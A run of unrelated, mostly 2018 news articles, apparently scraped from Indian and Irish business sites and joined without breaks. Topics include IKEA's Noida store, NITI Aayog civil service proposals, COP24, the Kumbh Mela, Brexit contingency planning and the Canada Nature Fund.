Noida. The upcoming IKEA store will provide employment to around 8,000 workers both direct and indirect. CM Yogi Adityanath who was also present at the Lucknow event said the continuous efforts of the government have led to a lucrative business environment in the state. "Industrial institutions interested in large investments are setting up their establishments. According to the policies of the state government, any person or institution can invest in the state. The state government will provide all possible assistance to such investors and industrial institutions," he added. IKEA officials told The Times of India that they are looking to develop retail and commercial parks that would include shopping centres, offices and integrated commercial projects in the state. These projects could be owned by IKEA or by independent developers. IKEA CEO Peter Betzel told the daily that they are looking to set up a mix of large and smaller city centre format stores but would set up a large format IKEA store in Noida as part of the immediate plan. They are scouting for suitable land, as mentioned in the report. "The store will have an estimated investment of Rs 1,000 crore. It will employ around 1,000 co-workers directly and another 1,000 indirectly across the value chain," he said as mentioned in the daily. A similar MoU to launch three stores in Lucknow, Agra and Noida was signed by the company with the Akhilesh Yadav-led UP government in September, 2015. However, things did not move forward. IKEA had, around that time, also signed MoUs with the state governments of Telangana, Maharashtra and Karnataka. The first IKEA store in India opened in Hyderabad earlier this year. The company also has plans to launch multiple stores across metro cities. By 2030 IKEA plans to have its presence across 49 Indian cities. "IKEA will create a multi-channel experience for its customers in India. It will launch e-commerce in Mumbai early next summer (March) and introduce other touch points to bring the brand closer to customers," Betzel had told agencies earlier. (Edited by Anwesha Madhukalya; with agency inputs) Also read: IKEA's presence is good for us, says Pepperfry The NITI Aayog, in its comprehensive report on the national strategy for 2022-23, has proposed a slew of measures to bring in reforms in recruitment, training and performance evaluation for the prestigious civil service. In its report 'Strategy for New India @75', the Niti Aayog has proposed to reduce the upper age limit for the civil services to "27 years for the general category in a phased manner by 2022-23". As of now, the average age of recruits for civil services is about 25-and-a-half years, while the age limit for General Category is 30 years. The current recommendation of the Aayog stems from the fact that about 33 per cent of India's population is under 35 years of age. The government think tank has also said "service conditions for employees of autonomous bodies need to be regulated and harmonised." The Niti Aayog believes that to ensure more effective and efficient delivery of public services, there is a need to also reduce the number of civil services. "The existing 60 plus separate civil services at the central and state level needs to be reduced through rationalisation and harmonisation of services." The think tank has called for putting in place a central talent pool for recruits, which would then allocate candidates by matching competencies and the job description of the post. In addition to this, the think tank also wants the number of exams for civil services to be brought down to one with all-India ranking. "States may also be encouraged to use this pool for recruitments," it added. The Niti Aayog has said the government should also scale up the IT needs for "planning, forecasting staffing requirements and recruitments". Other measures proposed by the think tank include encouraging lateral entry, nurturing specialisation, assigning of mentors, strengthening of municipal corporation cadres, and outsourcing service delivery. For training of the civil service candidates, the think tank has proposed the government to alter the current system to meet job-outcome oriented goals and introduce mid-carrier training. "With economic gravity shifting towards cities, training should be reoriented to focus relatively more on managing urban areas," the report said. The Union Public Service Commission, which is India's premier central recruiting agency, conducts the civil services exam. The agency is responsible conducts exams for all India services and group A and group B of central services. Video: Govt opens vacancies for pvt sector into top Civil Service jobs Edited by Manoj Sharma Ministers of 200 nations got together for the 24th Conference of the Parties (COP24) in Katowice to form a rulebook to implement the landmark 2015 Paris climate agreement to fight climate change. What's incredible is for the first time 200 nations will follow a uniform, transparent framework to report and account for their emission cut targets when the deal comes to force in 2020. They will have to report emission levels and cuts every two years starting 2024. That in itself is a big achievement. However, given the rate at which climate change is accelerating, it leaves one wondering if reporting targets would suffice, if there is not enough intent to take steps for mitigation of emissions. What was clear was the developing countries including India took a stand that was in line with the spirit of the Paris Agreement. Studies have suggested that the impact of climate change will increase and spare no part of the world. It will particularly badly hit South Asia if no steps are taken to reduce greenhouse gases. Report 'Assessing the Costs of Climate Change and Adaptation in South Asia' by Asian Development Bank (ADB) predicts that by 2050, the South Asian economy will lose an average 1.8 per cent of its gross domestic product, rising to 8.8 per cent by 2100 from extreme weather events such as floods and droughts caused by climate change. In spite of this, the oil-rich nations such as US, Russia, Saudi Arabia and Kuwait prevented the adoption of the findings and recommendations of the UN climate science panel Intergovernmental Panel on Climate Change (IPCC) report that calls for countries to reduce their carbon emissions to limit the impact of temperature increase by 1.5 degrees Celsius. In fact, the developed countries voiced their unwillingness to increase their financial contributions on climate finance. Under the Paris Agreement, 18 developed countries had committed 100 billion to the developing countries from 2020 to help them mitigate and adapt to the risks posed by climate change. Developing countries including India felt this figure was too little to meet the climate-loss needs. Also, there was no clear outline how these countries will mobilise the funds. Another main concern of India from the 1990s has been equity, which means the responsibility of the countries to take steps to mitigate climate change should be in proportion to their economic status. The developed countries, who are anyways the main culprit for causing climate change, have the technology, resources and the capacity to mitigate it and hence, they should take more responsibility than the developing countries. India and many other developing countries felt that the principle of differential responsibility that should be a part of the agreement was largely missing. In fact, developing countries also felt that the uniform mechanism for emissions accounting from the Intergovernmental Panel on Climate Change (IPCC) is a costly affair. Collecting and reporting this data and the technical expertise it requires is a very extensive and expensive exercise and would put additional burden on developing country like ours. Developing countries though have got the flexibility of time to publish their national inventory of emissions according to their capacity and have also got the leeway to submit not as much detailed data as the developed world. Forming a rulebook in itself is no mean feat but without an overarching climate vision that leaves open the implementation on the countries' intent, Katowice might do too little to have any actual impact on the ground. India is recognised globally as a country that celebrates its traditions and cultural heritage. And Kumbh Mela, which is the largest peaceful gathering of pilgrims on the planet, is one such event that marks the celebration of Hindu heritage. The Kumbh Mela is held every three years in Haridwar, Prayagraj, Ujjain, and Nasik. The mela returns to each of these cities after 12 years. Earlier in 2017 at Jeju, South Korea, UNESCO's Intergovernmental Committee for the Safeguarding of the Intangible Cultural Heritage had adorned 'Kumbh Mela' on the Representative List of Intangible Cultural Heritage of Humanity. Commencing from January 15, 2019, the sacred city of Prayagraj will observe its first Ardh Kumbh Mela after its recent rechristening. The festivities will end on March 4, 2019. The Kumbh Mela is a mystery for anybody who hasn't been at the centre of chaos in Prayagraj. So, let's unravel the unknown and find out more about the incredible experience one usually associates with the Kumbh Mela's. The first royal bath (Shahi Snan) of the Ardh Kumbh Mela will be observed on the auspicious day of Makar Sankranti. It is here that all the prominent religious groups take a dip at the Triveni Sangam at Prayagraj. The second royal bath will take place on January 21 and is called Paush Poornima. The last bath will be observed on the day of the festival of Maha Shivratri on March 4, 2019. The Kumbh Mela is held on the dates when the waters of the Sangam turns into nectar. The precise dates are calculated according to a combination of astrological positions of Jupiter, the Sun and the Moon. The Ardh Kumb Mela will commence on January 15 when astrologically, the planet Jupiter is in Aries and Sun and Moon, are in Capricorn during the Hindu month of Magha. Hindus believe that people who bathe in the river during the auspicious dates are blessed by the Gods themselves and all their sins would be washed away. Praygraj is well connected by road, train and air. The airport is 12 km away from city centre at Bamrauli. The city has four major railway stations namely Allahabad Junction, Prayag Station, City Station at Rambagh and Daraganj Station. Prayagraj is easily accessible via roads as well. To promote tourism during Kumbh Mela beginning from January 15, 2019, the Narendra Modi-led BJP government plans to use of inland waterways for transporting pilgrims and tourists between Varanasi and Allahabad, a distance of 60 km. The government has set up four floating terminals, one each at Kila Ghat, Saraswati Ghat, Naini Bridge and Sujawan Ghat. Additionally, two vessels - CL Kasturba and SL Kamla - and small boats will be deployed for pilgrim movement. The government is also planning an airboat service between Varanasi and Prayagraj by January 26. An airboat can cruise up to 80 kilometres per hour and requires a depth of only 10 centimetres. As many as 15 crore people are expected to land in Prayagraj for the Kumbh Mela. Special security arrangements have been made by the government of Uttar Pradesh. The UP Police and the Fire Department will set up temporary police and fire stations, respectively. The government is planning to install several thousand CCTV cameras and post nearly 20,000 policemen on the job, including 1100 lifeguards. Peshwai is an important festivity and is a vital part of the Kumbh. Peshwai denotes the grand procession carried out to mark the beginning of the Kumbh Mela by welcoming people from all around the world. Special routes are demarcated for these processions that are led by saints from various Akharas. The Yogi government is making provisions for a laser light and sound show. The show will commence almost a month before the beginning of Kumbh at the Prayagraj Fort Wall. Edited By: Udit Verma Also read: Consumer Protection Bill, 2018, passed in Lok Sabha; here's how it'll protect consumers' interests Fact: In 2016 in Suraj, which is a small village not very far from Ahmedabad, unmarried women were banned from using or possessing a mobile phone. If caught with a phone, a fine of Rs 2100 was slapped on the lady in question, and Rs 200 was rewarded to the informer. I'm told that the entire village of 2500 people welcomed the decision. Now, whether this poll deigned the female folk important enough to be questioned, is anybody's guess. Fact: In another village in Uttar Pradesh, women under the age of 18 years were banned from using or owning a mobile phone Fact: Moving beyond India, a 26-year old female social media enthusiast was strangled by her brother. Reason? He found her Facebook posts to be overly 'modern', and feared that she was disgracing her family with her mobile phone habits It's an accepted fact that India fares the worst in gender parity in mobile phone adoption. Some studies peg this at 38%, and others paint a grimmer picture of only 28% of Indian women using a mobile phone. And if you thought that this was an 'emerging economies' phenomenon, think again. For China, the gap is only 1%. Shocked? It gets worse. We all understand just how much of a leveller technology can be. It can help create awareness, empower women to protect themselves, find a job, and develop keener life skills. And while the whole brouhaha around 'Roti, kapda, makaan and wifi' may sound like the anthem of the decade, the truth for the rural female, is anything but musical. A shocking report by the John F. Kennedy School of Government at Harvard University explains how this parity is not just representative of the country's mobile adoption rates but also of the glaring gap that exists between the sexes in India. It is not just the lack of "economic self-reliance" which is working against women in a patriarchal system such as ours - there are deep-seated societal biases which don't allow women to own mobile devices. The report cites regressive beliefs such as reputational risk, distraction from household duties and rebelling against subservience as some examples. Simply put - if the girl will eventually be married off and leave, why invest in her at all? Sadly enough, while this problem is far more debilitating in Bharat, the rest of Indian society also has its own share of social depravity that women are put through. My point? We seem to be breeding a purposeful suspension of common sense. If India has to grow, Indian women will need to grow too. According to The World Economic Forum (WEF)'s Global Gender Gap Report 2017, gender parity is directly proportional to economic development. It is no surprise then that a McKinsey World Institute report released in June 2018 - 'The Power of Parity: Advancing Women's Equality in Asia Pacific', found that Indian women contributed only 18 percent to the country's GDP, which was one of the lowest in the world. But I'm not one to ring the death knell so soon, and I'm certainly not one to throw in the towel. I do think we're taking some steps in the right direction - across government and corporates both. Is it enough? Certainly not. Is it a start? Hell yeah. The Indian government's efforts to move to a digital economy is largely dependent on mobile adoption, and so are specific initiatives like the 'Mudra Yojana Scheme for Women', introduced to empower the female population. In fact, the Ministry of Electronics and Information Technology (MEITY)'s recent directives mandated all smartphones to support one official Indian language apart from English and Hindi by July 2017. This was done keeping in mind India's low literacy levels and even lower digital literacy levels and because the absence of in-built regional languages in mobile phones makes it that much harder to access critical e-services such as healthcare, banking, education, and governance. Local language phones = one less problem to worry about. Meanwhile, organizations like Google and Tata Trusts' Internet Saathi are other initiatives that are adding tremendous value to the lives of the female hinterland. Internet Saathi has already made 12 million women across 110,000 Indian villages become tech savvy, gain employment and break boundaries. Internationally, M-Pesa, a mobile phone-based money transfer, financing and microfinancing service, has single-handedly helped 2% of Kenya's households rise out of poverty. Inspiration much?! Unfortunately, operating within a social hierarchy that's skewed towards patriarchy means we aren't fully benefiting from these positive initiatives! We need to emphasize how mobile phones are tools of empowerment, independence and safety. And we need to do this in every capacity - as individuals, as leaders, and as women. It doesn't just stop there - we need to push the men in our lives to do the same. It may be the simple act of buying your peon's daughter her very own mobile phone, or then taking a special interest in the digital life of your maid. Or better still, finding a way to contribute to the larger movement by allocating some time and funds to organizations and groups that are leading some of these rural digital empowerment drives. For women in leadership positions, it means finding a way to channel some of your sustainability and CSR funds into these efforts, and helping make them more scalable. A lot of this is tough work, and outcomes will be slow to come by. But I guess a smooth sea never makes a skilful sailor. Right? (The writer is President of Jagran Prakashan Ltd) Engineering behemoth Larsen & Toubro (L&T) owned supercritical power plant at Nabha in Punjab, which is facing shortage of thermal coal in running the plant and shut down of one of its 700 megawatt (MW) unit in mid-2018, is looking for a sustainable turnaround as the power producer stares at a financial liability of around Rs 8,000 crore. The company, which made the first unit operational in December 2013, built the project at a cost of Rs 11,000 crore, including an equity contribution of around Rs 3,000 crore. The positive news is that power demand has picked up in the country after rampant electrification of households and rise in the industrial demand. In the last financial year, the power producer made a profit of Rs 245 crore on a turnover of Rs 3,778 crore. It made a loss of Rs 26 crore in the previous year. Nabha Power owns and operates two 700 MW (total 1400 MW) supercritical thermal power plants. Under the Power Purchase Agreement (PPA) with Punjab State Power Corporation (PSPCL), which is for a period of twenty-five years, the entire power generated from this plant is sold to PSPCL. The plant is built on super critical 216 technology of Mitsubishi Japan. It is the first 'Made in India' supercritical power plant in the country. The plant sources its fuel from South Eastern Coalfields, a subsidiary of Coal India, under a 20-year Fuel Supply Agreement (FSA). The company also secured approvals to arrange coal from alternative sources to make up for any shortage in supply of coal under the FSA. The state government has allocated the perennial source of water for the plant from the Bhakra-Nangal distributary. The construction giant bet heavily on power business during the boom time and built it as a referral plant, using the super critical technology and Indian coal. Before that it formed a joint venture with Mitsubishi Hitachi Power Systems (MHPS) for manufacturing super critical boilers and turbine in Hazira. Until then the country was known to the sub critical technology of BHEL, which was struggling to execute its orders. Altogether, L&T had initially committed about Rs 25,000 crore investments until 2012--including Rs 4,000 crore for shipyards and ports; Rs 2000 crore for nuclear forging; Rs 2,000 crore for supercritical boilers and turbines; and Rs 10,000 crore for Nabha power plant. L&T's capital light balance sheet was hurt because of these large capital commitments. The company's core engineering, procurement and construction (EPC) business always required minimal working capital rather than the equity and debt capital. Since the assets on books were low, the company's return-on-equity was 27 per cent in 2007. After the commissioning of large projects, the ROE fell to 10-13 per cent because of the under utilisation of capacities. Power projects across the country went through a crisis because of the lower demand, unavailability of fuel and difficulties in signing PPAs. The Nabha plant of L&T was operating below the optimum capacity because of these issues. L&T earlier had the plan to make the balance sheet light, divesting some of its non-core assets. As part of the move, it divested the port in Kattuppalli from the shipyard. It is not clear whether the company has such plans for Nabha plant. Since 2005, L&T has been investing on concession business--roads, ports, metro, airports and transmission line, it included Bangalore airport (sold their stake to GVK in 2009), Hyderabad metro (still owned by L&T), built ports in Kattuppalli and Dhamra, which was in JV with Tata Steel but sold to Adani Ports, and invested in a transmission line in Karnataka. Home grown carmaker Tata Motors on Thursday joined hands with Zoomcar to offer its electric compact sedan Tigor to customers in Pune. The company said it expects to deploy at least 500 such vehicles across 20 cities that Zoomcar is present in, by the end of next year. This is the second tie up of this kind in the last one year. Last year, Zoomcar also deployed Mahindra's e2O plus across Mysore, Hyderabad and Bangalore. Mahindra also picked up a 16 per cent stake in the firm for Rs 176 crore in February this year. Tata and Mahindra are the only two companies manufacturing electric cars in India right now. Both companies won part of the 10,000 unit electric vehicle tender floated by EESL in 2017. "The future of mobility will increasingly be connected, shared and powered by zero emission technologies. Tata Motors is strongly committed to this transformative journey and working with all like-minded partners to accelerate the enabling ecosystem," said Shailesh Chandra, president- electric mobility business and Corporate Strategy, Tata Motors. "It is a great pleasure to announce our partnership with Zoomcar to offer shared electric mobility solution for the citizens of Pune. Tata Tigor EV will now be available on the self-drive rental platform, offered by Zoomcar, to enable zero-emission transport option for the citizens of Pune. We are confident that our customers will appreciate and enjoy the driving experience." Tata's e-Tigor, however, has not been commercially launched in the market as yet as the company is waiting for a clear policy and charging infrastructure to come up in the country. Mahindra's e-Verito and e2O--the successor to the India's first electric Reva, are the only two e-cars available for sale for consumers but sales at less than 1000 units per annum have been insipid. "The Zoomcar team is thrilled to partner with Tata Motors to bring electric vehicles to Pune," said Greg Moran, co-founder and CEO, Zoomcar. "This marks the beginning of a dynamic partnership within electric mobility and we expect to touch 20 cities and 500 electric vehicles with Tata over the next year." Aviation regulator DGCA is assessing the "health" of cash-crunched Jet Airways on a fortnightly basis following a financial audit of the carrier in August this year, a senior official said Wednesday. As part of this exercise, which is carried out under a particular provision of a civil aviation requirement (CAR), various aspects of the airline's functioning, including aircraft maintenance, are being looked at from the safety point of view, the official said. "The health of Jet Airways is being monitored every 15 days. This is being done as per a CAR and the exercise started four to five months ago," a senior Directorate General of Civil Aviation (DGCA) official said. The NRI Naresh Goyal-promoted private carrier is grappling with significant financial distress in the face of three back-to-back quarterly losses, which have resulted in cash drought and subsequently default on payments to aircraft lessors and a section of staff, among others. "During the monitoring, various aspects from the view point of safety are looked at. This includes assessing whether the airline is able to maintain its aircraft and schedule," official added. The UAE national carrier Etihad Airways holds 24 per cent stake in Jet Airways, which it acquired in 2013. Notably, in late August the DGCA had carried out a financial audit of Jet Airways to assess its fiscal health and ensure that the carrier was not compromising on safety due to financial stress. With a net debt of Rs 8,052 crore as on September 30, and losses in excess of over Rs 1,000 crore each in the last three quarters, airline is working on ways to raise funds and reduce costs. Last month, Jet Airways Chief Executive Officer Vinay Dube had said the airline was in active discussions with various investors to secure sustainable financing. As part of this, besides its on-going negotiations with Etihad, the airline also had "preliminary" level discussions with the Tata group in the recent past. At the same time, SBI, the largest lender to Jet Airways, has ordered for a "forensic" audit of Jet Airways books between April 2014 and March 2018 for alleged financial irregularities. The forensic audit is being carried out by EY. Banking services will be affected across the country in the coming days due to strikes, Christmas holiday and the weekend. While ATM services are likely to remain unaffected, bank branches will be open only on Monday between Friday and Wednesday. Cheque and cash withdrawals at banks won't be possible during the five days (21st, 22nd, 23rd, 25th, 26th December). Two bank employee unions, All India Bank Officers' Confederation (AIBOC) and United Forum of Bank Unions (UFBU), have called for strikes on December 21 and 26 respectively in protest against the impending merger of Bank of Baroda, Vijaya Bank and Dena Bank. The government had given its approval for the merger of the three public sector banks back in September. The AIBOC is also protesting against Indian Banks' Associations (IBA) move to leave officers of scale IV and above out of the bipartite wage settlement scope. The first bank strike called by the AIBOC will be in effect for 24 hours starting from the midnight today till midnight of December 21. The constituent unions of the UFBU have called for strike from 6:00 am on December 26 to 6.00 am on December27. Several banks have informed in regulatory filings that banking operations in their branches will be affected on the aforementioned dates due to bank union strikes. ALSO READ: Bank unions threaten strike against merger of Bank of Baroda, Dena Bank, Vijaya Bank The AIBOC strike on December 21 will not include employees managing ATMs. However, the UFBU strike on December 26, which will see participation from nine employee and officer unions, might take a toll on ATM operations. The banks will also be closed on December 22 as it is the fourth Saturday of the month, and on December 23, which is a Sunday. Banks will open on December 24 (Monday), before closing for Christmas on December 25. ALSO READ: SBI, Bank of Baroda, Canara Bank to hire 1 lakh people this fiscal to push new-age banking: report OnePlus is usually in the news twice a year. However, 2019 looks bigger for the Chinese smartphone maker. In 2019, OnePlus is planning to launch three phones instead of two and one out of the three could very well be a 5G enabled device. OnePlus is one of the very few companies who have confirmed a 5G powered device in 2019, and the current leaks suggest that they were serious about their claims. Going by the OnePlus photo posted by a tech tipster Ishan Agarwal on Twitter, the next OnePlus phone is going to look a lot different. As of now, it isn't clear whether the photo posted by Ishan was of OnePlus 7 or the OnePlus' 5G phone. The photo showed OnePlus CEO Pete Lau examining a prototype of the phone. Earlier in the month, during the Qualcomm Snapdragon Tech summit in Hawaii, Pete Lau, CEO and Founder of OnePlus had confirmed that the company is working on a 5G phone which will mostly go official in early 2019. The tweet from Ishan Agarwal shows a new OnePlus device having a large, circular camera bump on the back, a design choice that OnePlus had avoided earlier. The leaks show two devices, a red and a white colour, that may or may not be the final design. The design could just be a prototype showcasing some camera features to Lau. Closer examination of the leaked picture reveals a triple camera setup on the back panel and the missing fingerprint sensor. Like the OnePlus 6T, all the three OnePlus phones launching in 2019 could have the in display fingerprint on board. Also Read: OnePlus' first 5G phone to launch by May 2019 Some of the things we already know about the OnePlus 7, OnePlus 7T and the OnePlus 5G is that all three of them would be powered by Qualcomm's Snapdragon 855. The only difference will be the OnePlus 7 and 7T will use the X24 modem while the OnePlus 5G will be powered by the X50 modem. Coming to the launch timelines of the new phones, OnePlus 7 is expected by May next year. This makes it more likely that the phone shown in the leaked picture is actually the OnePlus 5G. Earlier this week, OnePlus launched speedier version of Oneplus 6T. The McLaren Edition packed 10GB of RAM under the hood, as well as faster battery charging technology. During the same time, reports had emerged regarding an unnamed 5G phone, which Lau had said would be a 'distinct' device. Edited By: Udit Verma Ireland on Wednesday disclosed its first major set of contingency plans in case Britain crashes out of the European Union without a withdrawal deal, including possible emergency measures to avoid any shortages of medicines and food. Deputy Prime Minister Simon Coveney described the plans as "stark," but said his government was not yet making plans to defend the European Single Market along Ireland's 500-km (310-mile) land border with the British region of Northern Ireland. Instead, the 130-page document detailed plans to boost infrastructure at the country's ports and airports, and dozens of pieces of legislation to defend everything from the country's health system to its joint electricity market with Northern Ireland. "The United Kingdom leaving the European Union without a deal in place is going to cause a significant stress to this country and to many sectors in the Irish economy," Coveney told journalists after the publication of the plans. "Anybody who belittles the consequences of a no-deal Brexit suggesting that this is another millennium bug that isn't going to have any real impact really doesn't know what they are talking about," he said, adding Ireland would be put under "an awful lot of strain." Coveney said he expected there would be severe delays to trucks traveling through the United Kingdom from other EU countries to Ireland - the "land bridge" that much of the country's goods imports and exports use. He said he was confident that Ireland would not have any food shortages, but said the government was doing a lot of planning to ensure no disruption to the supply of medicines. The document did not touch on the crucial central issue for Ireland in the event of a no-deal Brexit: How Ireland can defend the single market without imposing physical infrastructure on the border with Northern Ireland. The government says such infrastructure is unthinkable as it could undermine two decades of peace in Northern Ireland after thousands died in violence between Catholic Irish nationalists and pro-British Protestants between the late 1960s and 1998. Coveney, who is also foreign minister, raised the prospect that Ireland might ask the European Union to relax or waive some rules of the single market, telling journalists that the issue "will be an ongoing conversation." "If a no-deal Brexit becomes more likely outcome, of course we will have to have very detailed discussions with the commission" about how to maintain the integrity of the single market, he added. Coveney said the "very uncomfortable period" could last a long time because of the difficulty of securing a trade deal with the United Kingdom after the damage done to ties by a no-deal Brexit. The European Union on Wednesday unveiled short-term measures to limit disruption to air traffic, financial services and trade if Britain left without a deal, an event European Commission President Jean-Claude Juncker said would be an "absolute catastrophe." (Reuters) Source: www.businessworld.ie Ireland will receive an additional 600 million euros from the wind-down of the bank at the heart of its 2010 financial crisis, Prime Minister Leo Varadkar said on Wednesday, but most of a 30 billion euro bailout will never be recovered. Varadkar told parliament that the liquidator of the Irish Banking Resolution Corporation (IBRC), the wind-down vehicle of Anglo Irish, the bank at the heart of Ireland's 2010 financial crisis, is due to make the payment in the coming weeks, completing a 1.2 billion claim by the state. Anglo Irish, which was nationalised in 2009 and wound down from 2011 was synonymous with the lending practices that drove the "Celtic Tiger" boom and subsequent bust. Ireland's taxpayers stumped up 30 billion euros, around 15% of annual economic output, to bail out the bank, a move that contributed to the country being forced into a three-year bailout in 2010. Varadkar also confirmed that unsecured creditors - some of whom bought the debt at a fraction of its original value - would receive full par value on 267 million of debt, a move a member of parliament for the opposition Sinn Fein party, Pearse Doherty, described as "a betrayal of the Irish people." Some of the creditors bought the debt at around 20% of its value in 2010. (Reuters) Source: www.businessworld.ie The European Union refused a British request for a legal guarantee that a post-Brexit trade deal would go into effect in 2021 as it would have potentially rendered the Northern Ireland backstop inoperable, the Taoiseach said on Wednesday. British Prime Minister Theresa May asked EU leaders for a guarantee that a new EU-UK trade deal would take effect in 2021 even if EU parliaments had not ratified it, Leo Varadkar told the Irish parliament. "If we were to give it, the European Union could find itself in breach and the responsibility for avoiding a hard (Irish) border in that case would potentially shift to the European Union rather than the United Kingdom," he said. "It would potentially render the backstop inoperable." (Reuters) Source: www.businessworld.ie A survey by executive search firm, MERC Partners, has revealed a large cohort of diaspora talent that is primed to return to Ireland, highlighting a significant opportunity for Irish-based companies which are looking to attract top talent for roles here. The Irish Executive Abroad polled over 500 Irish professionals around the world. It was conducted by Amarach Research on behalf of MERC Partners. The study shows that while many of these executives left Ireland during the recession to explore career opportunities in a range of sectors worldwide, three quarters want to come home in the future, with one fifth searching for jobs weekly as they maintain strong connections with Ireland. However, many of these professionals highlight certain aspects of life in Ireland that are potential barriers to them returning in the short term. The survey finds that high personal taxation, inadequate investment in healthcare services, scarce housing supply and infrastructure issues are the key barriers to Irish professionals returning home to work in the short term. According to the survey, 54% of respondents plan to be back in Ireland within 10 years and of those which plan to be back in Ireland by 2028, a large number of respondents have children under the age of 18. Forty five percent of respondents based in the UK are more likely to return to Ireland as a result of Brexit. Commenting on the research, Managing Partner with MERC Partners, Ruth Curran said, "Its encouraging to see that such a large pool of talented, senior executives working abroad want to come home, where their strong skill sets would be of significant benefit to Ireland. These findings will be of particular interest to Irish employers looking to recruit senior talent, as well as to foreign investors looking to establish a presence here. However, there are pressure points that need to be addressed one of which is dissatisfaction with high personal taxation rates, which is a common issue among both professionals who are hoping to come back to work in Ireland and indeed those who are currently based here." Source: www.businessworld.ie Facebook's lead regulator in the European Union on Wednesday said it was assessing a report in the New York Times that the social network allowed some tech companies far greater access to data than it had disclosed. "We are aware of the media reports and we are currently assessing what next steps, if any, are required," said a spokesman for Ireland's Data Protection Commissioner, which is Facebook's lead European regulator because the firm's European headquarters are in Dublin. Facebook said it did not give companies access to personal data of users without their permission. (Reuters) Source: www.businessworld.ie The best bang for your buck! This option enables you to purchase online 24/7 access and receive the Sunday, Tuesday & Thursday print edition at no additional cost * Print edition only available in our carrier delivery area. Allow up to 72 hours for delivery of your print edition to begin. Print edition not available for Day Pass option. CAMEROUN :: Cameroon: The CL2P and the Secession War In his last appearance on Vision 4 on December 16. 2018, Pr. Eric Mathias Owona Nguini, the Biyas regime ideologue, criticized the United States which called for the end of massacres in the Anglophone regions of Cameroon. For a regime well known to avoid outside scrutiny and to pay foreign journalists to avoid negative headlines, Pr. Nguini rush to invoke a well-worn tenet of the Lost Cause narrative that claiming that the failure to compromise is laid at the feet of radical abolitionists and Northern politicians, including the newly elected president, Abraham Lincoln, who gave Southerners no choice but to secede. While Pr. Nguini can be technically correct because, indeed, there was a failure of compromise. But lamenting it without addressing the role of slavery at its root reflects the flawed, Southern version of Civil War history that has nourished the white nationalism currently poisoning American politics. Pr. Nguini did not mention-and nobody contradicted him at Vision 4- that Northerners were actually more than willing to compromise with the Slave states and meet many of their demands. The Compromise of 1850 even included a revamped Fugitive Slave Law that required all Northerners to assist in returning suspected runaways and denied those apprehended the right to trial drawing howls of protests from abolitionists. This agreement reflected most, if not all, of the slave states demands. It reinforced slaverys constitutional protections and loosened its territorial limitations. Lands acquired from Mexico, except for the new state of California, would be open to slavery via popular vote. These compromises, however, failed to satisfy slave states and their insatiable desire to dictate American domestic and foreign policy. They wanted unambiguous and eternal protections allowing for the expansion of slavery into the western territories and beyond. The CL2P raises the question: Why do we continue to champion compromise when it was so long used to further the cause of human injustice? In fact, this is where Pr. Nguinis ideology veered into denial and hypocrisy. He is using the camouflage of Abraham Lincoln to pretend that Paul Biya is some kind of Abraham Lincoln fighting radical secessionists. But these radical secessionists are fighting against their own enslavement in the Biyas regime, therefore, the Biyas regime is not fighting to free the slaves in the Anglophones regions. The Biyas regime is fighting to maintain an unjust and gerontocratic and paternalistic status quo. In this case, Paul Biya is not Abe Lincoln but the head of a state at war with its own people and known to lock up its critics and crush all forms of dissent through violence creating human disaster crisis along the way as vulnerable people are turned into casualties of Biyas repressive machines. Thus, the Biyas regime is part of the problem here not the solution! The Canada Nature Fund supports the protection of Canadas biodiversity through the creation of protected and conserved areas and through initiatives that help to recover species at risk. The Fund is available to not-for-profit and Indigenous organizations, provinces and territories, and others. Spaces stream The Spaces stream of the Canada Nature Fund provides resources that will enable partners to drive progress toward Canadas biodiversity commitments. This stream currently consists of two core components: The Pathway to Canada Target 1 Challenge, which supports the creation of protected areas on provincial, territorial, municipal, and Indigenous lands. The Natural Heritage Conservation Program, which supports the creation of protected areas on private lands. Through these components, we will support actions toward the following: Achieving Canadas goal of of conserving 25 percent of Canadas lands, inland waters, and oceans, respectively, by 2025, and working toward 30 percent of each by 2030. Enhancing the integrity and connectivity of Canadas protected and conserved areas network. Establishing new Indigenous protected and conserved areas to support Indigenous engagement in conservation. Pathway to Canada Target 1 Challenge In August 2019, the Minister of Environment and Climate Change announced funding for a series of Challenge projects, including the establishment of up to 27 Indigenous protected and conserved areas. For more information about these projects, check out our map of Challenge projects. Natural Heritage Conservation Program This program is being funded by the Canada Nature Fund to enable a coordinated pan-Canadian approach to private-land and private-interest in land acquisitions to establish new protected and conserved areas. In April 2019, the Minister of Environment and Climate Change announced that the Natural Heritage Conservation Program would be administered by the Nature Conservancy of Canada, in partnership with Ducks Unlimited Canada, Wildlife Habitat Canada, and many regional and local land trusts represented by the Canadian Land Trusts Working Group. The Government of Canada is investing $100 million over four years in the Natural Heritage Conservation Program (from April 1, 2019, to March 31, 2023) as part of Budget 2018s Nature Legacy initiative. Under the Natural Heritage Conservation Program, annual funding for the land -trust portion of the program is available through a call for proposals for the Land Trust Conservation Fund, administered by Wildlife Habitat Canada. More information is available on the Wildlife Habitat Canada website. Species at Risk stream As part of the Pan-Canadian Approach to Transforming Species at Risk Conservation in CanadaFootnote 1 , the Government of Canada is investing $155 million over five years to help protect terrestrial and aquatic species at risk. Under this stream, partners will contribute to the protection and recovery of species at risk and other biodiversity for priority species, places and sectors. Through innovative, multi-species and ecosystem-based initiatives, we will support priorities for action and build relationships with Indigenous Peoples, other governments and organizations, industry, and other resource users. Priority places Funding for community-nominated priority places is helping to protect species at risk across Canada by developing partnerships and implementing multi-species and ecosystem-based conservation actions. Community-nominated priority places are found outside of the 11 priority places currently identified under the Pan-Canadian Approach to Transforming Species at Risk Conservation in Canada. The current suite of community-nominated priority places are located across nine provinces and territories, in areas of high biodiversity that have the potential to benefit a large number of species at risk. Canada Nature Fund for Aquatic Species at Risk This program supports projects with a focus on seven priority freshwater places and two priority marine threats. These investments support aquatic conservation and biodiversity across the country. For more information, visit Canada Nature Fund for Aquatic Species at Risk. Related funding initiatives Indigenous Guardians Pilot Program This program gives Indigenous Peoples greater opportunities to exercise responsibility in on-the-ground stewardship of their traditional lands, waters, and ice. Ecological Gifts Program This program provides a way for Canadians, either individuals or corporations, to donate ecologically sensitive land to qualified recipients and receive significant tax benefits. Habitat Stewardship Programs for terrestrial and aquatic species at risk This programs allocates funds to projects that conserve and protect species at risk and their habitats and help to preserve biodiversity as a whole through the participation of local communities. Aboriginal Fund for terrestrial and aquatic species at risk This program supports the development of Indigenous capacity to participate actively in the implementation of the Species at Risk Act. Funds are allocated to projects that protect habitat and contribute to the recovery of species at risk, and to projects that prevent other species from becoming a conservation concern. Other environmental funding programs The Government of Canada offers several other environmental funding programs. news, latest-news A predator-proof sanctuary in the middle of Gungahlin may house the solution to Canberra's carp 